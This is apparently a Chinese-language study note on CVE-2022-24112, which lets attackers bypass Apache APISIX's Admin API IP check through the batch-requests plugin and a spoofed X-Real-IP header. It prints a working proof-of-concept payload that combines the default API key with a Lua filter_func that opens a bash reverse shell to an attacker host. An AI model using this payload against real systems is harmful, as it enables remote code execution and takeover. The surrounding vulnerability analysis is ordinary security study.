Skip to content

CVE-2022-24112

是因为插件的漏洞导致远程x-real-ip地址可被覆盖,导致可通过这点访问adminApi的filter_func功能进行远程执行JS代码。是dashboard调用 apisix的组件,其没有处理考虑用户传入的请求头为 x-real-IP的形态,导致真实的IP地址被覆盖。 注:该漏洞需要 默认的admin的key,意思是本身就可以进行通过apisix进行写入路由? 非,因为apisix默认的监听是本地,所以是通过dashboard的插件的漏洞,造成了请求到了 apisix上。 本身需要dashboard什么权限? 不需要任何权限,到batch-requests之后被转发到 apisix上,最终的代码是在 apisix上进行执行的,而不是 dashboard。

在 RFC 7230文档当中: 请求头是否进行大小写组合,从HTTP协议的角度看是一样的。 但是插件当中只是转换了部分。

漏洞复现

创建环境

git clone https://github.com/twseptian/cve-2022-24112.git

风险点:APISIX 的默认配置(带有默认的API秘钥) 容易受到远程代码执行的攻击。 其只是限制了不能从外部进行调用。 但是其中的batch-requests插件当中有一个检查,使用真实的远程IP来覆盖了客户端的IP。但是其batch-requests没有注意大小写的问题,导致不能覆盖完全。用户上传的字段 x-real-ip能够被服务器解析,最终导致认为是本地发起的,造成命令执行。

poc

其中传输的数据为

json_data = {
    'headers': {
        'X-Real-IP': '127.0.0.1',
        'X-API-KEY': 'edd1c9f034335f136f87ad84b625c8f1',
        'Content-Type': 'application/json',
    },
    'timeout': 1500,
    'pipeline': [
        {
            'path': '/apisix/admin/routes/index',
            'method': 'PUT',
            'body': '{"uri":"/rms/fzxewh","upstream":{"type":"roundrobin","nodes":{"schmidt-schaefer.com":1}},"name":"wthtzv","filter_func":"function(vars) os.execute(\'bash -c \\\\\\"0<&160-;exec 160<>/dev/tcp/'+lhost+'/'+lport+';sh <&160 >&160 2>&160\\\\\\"\'); return true end"}',
        },
    ],
}

原理:通过传参绕过IP校验+使用默认 APIKEY 值调用 Admin API 【默认设置 是本地进行调用】 使用PUT请求添加路由,触发filter_func()执行其中的lua代码 image.png

漏洞原理

为什么出现这样的漏洞? 1、用户传入的数据x-real-ip 设置为 本地的"127.0.0.1",其代码进行替换的时候并没有使用真实的数据进行替换。 2、并且在实际的判断当中采用了小写的数据,最后导致Admin API认为这是来自于本地的请求 。

利用思路 :利用插件发送请求绕过管理API的IP限制,APISIX默认配置容易受到远程代码执行的攻击。 1、在batch-requests插件当中有一个检查,用真实的远程IP覆盖客户端IP,但是由于一个bug,这个检查会被绕过。 2、我们利用batch-requests插件漏洞,绕过请求头检测。 3、伪造请求头,向Admin API注册路由。【其中存在两个请求头部 x-real-ip 和 X-Real-IP】不会相互进行覆盖 4、注册路由时,携带 filter_func 参数 可写入 lua代码,最终代码执行。

http pipeline:网关发起多个http请求,合并结果之后返回客户端

需要学习

  1. 如何使用diff进行查看漏洞补丁的修复方法?

https://github.com/lcatro/Source-and-Fuzzing/blob/master/1.Github.md

  1. 如何选择攻击面
  2. Apisix的指纹是什么

资源

APISIX文档 https://apisix.apache.org/zh/docs/a

疑问

apisix还有什么其他的插件 https://apisix.apache.org/plugins/ 插件所在的源代码位置在

Back to top